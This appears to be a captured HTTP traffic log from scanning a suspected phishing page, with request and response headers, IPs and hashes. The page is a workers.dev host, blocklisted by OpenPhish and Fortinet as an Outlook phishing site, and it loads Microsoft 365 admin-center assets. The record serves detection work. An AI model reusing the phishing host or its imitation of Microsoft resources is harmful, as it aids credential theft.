                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fb150ddb5-18a6-405d-8041-cdea0c0e6a85.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8266
x-amzn-requestid: 3411ec4b-ac18-4b4e-8876-c99b94d3a4a3
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YNitWEjhIAMFWpw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-631bb188-4d9e496e7ff141b46748d850;Sampled=0
x-amzn-remapped-date: Fri, 09 Sep 2022 21:35:04 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P2
x-cache: Hit from cloudfront
x-amz-cf-id: vyV1_onImxuLNGp4UI1W5grcuVW3LHJFJjvmO0VXU-OYorF6RVcoDw==
via: 1.1 4dde8ec6d6c12741888c2d3a059d4a2e.cloudfront.net (CloudFront), 1.1 7d01bcfcfe27ce0b8979cf621dd081de.cloudfront.net (CloudFront), 1.1 google
date: Fri, 09 Sep 2022 21:50:11 GMT
age: 84082
etag: "fdc9453562f993e2545ca99731a7741e748b6082"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8266
Md5:    d21a3e07583d9fad4104b6457f7915e7
Sha1:   fdc9453562f993e2545ca99731a7741e748b6082
Sha256: 8ea38264c82c6b544447079cc92eae70d0968a070ba39022af0e18c498916338
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fe4e8861b-4d5e-4f2e-8b1c-e85d23f02c52.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8626
x-amzn-requestid: af5e61ab-4f7b-4b03-8413-5d750b17e0df
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YLj9TH7vIAMFVMg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-631ae6bb-309144fb6e02564c4fcdb966;Sampled=0
x-amzn-remapped-date: Fri, 09 Sep 2022 07:09:47 GMT
x-amz-cf-pop: SEA73-P2
x-cache: Hit from cloudfront
x-amz-cf-id: 3gzR4efCGz9QsLoxAMuTUgBAwEc5WdyHBhw_wRPGmfnS9SWm-0vE7w==
via: 1.1 26ca01ec7377e425b59b6a08cb1ec342.cloudfront.net (CloudFront), 1.1 a8e5d5aeee6eacca5c379e5059b1f68c.cloudfront.net (CloudFront), 1.1 google
date: Sat, 10 Sep 2022 07:27:32 GMT
age: 49441
etag: "27eda8377e1c00c53fb66b4e2fa4f0dd6c7020af"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8626
Md5:    2b83fa95ed30533299bc754adaced672
Sha1:   27eda8377e1c00c53fb66b4e2fa4f0dd6c7020af
Sha256: bc59e5ba6abafd8e7b10d6f8ae2269cbf739a4b28f9cbbf3adfc29a9195e6985
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F242561c0-8a95-468b-ba61-6859edfe8518.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 7218
x-amzn-requestid: 4e9672b6-5415-4808-9508-22e8c42de448
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YE_QzHffIAMFYTw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6318459e-743b975a2770e2a90c616d87;Sampled=0
x-amzn-remapped-date: Wed, 07 Sep 2022 07:17:50 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Miss from cloudfront
x-amz-cf-id: dR6KtfbMJzFz0j8zIFUNtdkJHUaerjxWbUyYKBD-jR_uAAvCCty01Q==
via: 1.1 c7c3cdef911c9ee3c1a83a78f425dc5a.cloudfront.net (CloudFront), 1.1 ebe4011a81a36e2bf678f69ce1711330.cloudfront.net (CloudFront), 1.1 google
date: Fri, 09 Sep 2022 22:01:33 GMT
age: 83400
etag: "4e4e127039dd8099c63c3bde198118d2874f7342"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   7218
Md5:    3f8aeb20a6543be83f3e422796c4dc70
Sha1:   4e4e127039dd8099c63c3bde198118d2874f7342
Sha256: 0f9fdd1b577e4719f88620bb451131bfb120790479b4feccb4222647fb3ea453
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F5e72c2e9-6d47-42ac-9514-316cd8f8f6c5.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8676
x-amzn-requestid: 64a58aa8-8321-4c91-98fe-dbf97996c513
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YNiuZEjnIAMFRFg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-631bb18f-77b635593b202d7d3cd0ac84;Sampled=0
x-amzn-remapped-date: Fri, 09 Sep 2022 21:35:11 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P2
x-cache: Hit from cloudfront
x-amz-cf-id: VWwNSpFvcDq3nrn91QvYjrJX5hLjp96vrKgZzR-pOdrdHx7MlcagGQ==
via: 1.1 41e349e25dc4bc856d0e5d2c162428a0.cloudfront.net (CloudFront), 1.1 d1d67b07408bba8c682597d8303642e2.cloudfront.net (CloudFront), 1.1 google
date: Fri, 09 Sep 2022 22:13:43 GMT
age: 82670
etag: "88db17a82ea0207ccb4826c2961875c5106b427a"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8676
Md5:    e8f11aeba65478b039cfb4100aa23435
Sha1:   88db17a82ea0207ccb4826c2961875c5106b427a
Sha256: 6f6ec5922ec54d824e7f933de87608c5a763da119ae9461d99c6525649b1a9af
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F2402aa1c-c5d5-475b-abd9-db6b8ca99270.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 9981
x-amzn-requestid: 1a34423c-b2d9-4ae3-a437-eb5717334372
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YNkiSGjloAMFYuw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-631bb474-00c79a927f7f7d5d70791b68;Sampled=0
x-amzn-remapped-date: Fri, 09 Sep 2022 21:47:32 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P2
x-cache: Hit from cloudfront
x-amz-cf-id: jwkD86lz1SUQE__IGBv9RINc-LON017wkTpW7g0ePcMtssqd_POtpQ==
via: 1.1 2dc111aa3ead15d061e41a423155a53a.cloudfront.net (CloudFront), 1.1 7d01bcfcfe27ce0b8979cf621dd081de.cloudfront.net (CloudFront), 1.1 google
date: Fri, 09 Sep 2022 22:13:41 GMT
age: 82672
etag: "3b25ffe66a762ea032c05b149a29fe0d6faa3687"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9981
Md5:    572d8ed935df86fde22138e8bfddfd9f
Sha1:   3b25ffe66a762ea032c05b149a29fe0d6faa3687
Sha256: 866c2b16919ab311f906c4e8a074fd93b46f74408c9e2c9a4c30310afa08f047
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/admin/css/admin.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Tue, 06 Sep 2022 18:46:17 GMT
x-ms-request-id: a83fe35a-701e-0029-58c0-c2c1e3000000
content-encoding: gzip
content-length: 196978
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/controlbundle.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:45:28 GMT
x-ms-request-id: 25869702-101e-005d-42ba-c2f513000000
content-encoding: gzip
content-length: 20658
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /index.html HTTP/1.1 
Host: lingering-sun-f560.servicedeck.workers.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

search
                                         172.67.152.48
HTTP/2 200 OK
content-type: text/html;charset=UTF-8
                                        
date: Sat, 10 Sep 2022 21:11:31 GMT
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BMTIWqOLDbTKFk1oIx58RlkQC0MaxZgAiANzpnC2md8idVq9yQncgBmP00H7pBcjVh6h222iEDdzKPEylLpE%2BWIWu%2BV%2FSIMHfgCbGVsAEejllVFtni9ChWu%2FVjavrbOhZJiBuJX42ZEQ66rnvUw6UFuFvtaneQjvpX%2FvOgA%3D"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
vary: Accept-Encoding
server: cloudflare
cf-ray: 748b2816ffe00b51-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - openphish: Outlook
    - fortinet: Phishing
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/commonhealthdashboard.css HTTP/1.1 
Host: res.cdn.office.net